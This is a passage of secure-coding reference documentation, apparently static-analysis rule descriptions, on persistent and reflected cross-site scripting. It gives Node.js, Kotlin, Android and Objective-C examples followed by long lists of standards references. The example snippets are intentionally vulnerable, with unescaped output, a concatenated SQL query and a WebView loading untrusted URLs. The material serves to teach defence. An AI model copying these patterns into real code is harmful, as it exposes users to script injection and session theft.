function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following Node.js code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code segment queries a database for an employee with a given ID and prints the corresponding employee's name in the servlet response.


...
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following code reads an employee ID, eid, from an HTTP servlet request, then displays the value back to the user in the servlet's response.


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


As in Example 1, this code operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.


A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Spring MVC). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.kotlin.cross_site_scripting_persistent
Abstract
The method sends unvalidated data to a web browser which can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store while in the case of reflected XSS it is typically through user components, URL scheme handlers, or external notifications.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.


The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.



This code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 2: The following Objective-C code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


...
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {

UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]

...


As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 2, data is read directly from a custom URL scheme and reflected back in the content of a UIWebView response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable iOS application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a custom scheme URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable app. After the app reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.objc.cross_site_scripting_persistent
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of persistent (also known as stored) XSS, the untrusted source is typically a database or other back-end data store, while in the case of reflected XSS it is typically a web request.


2. The data is included in dynamic content that is sent to a web user without validation.

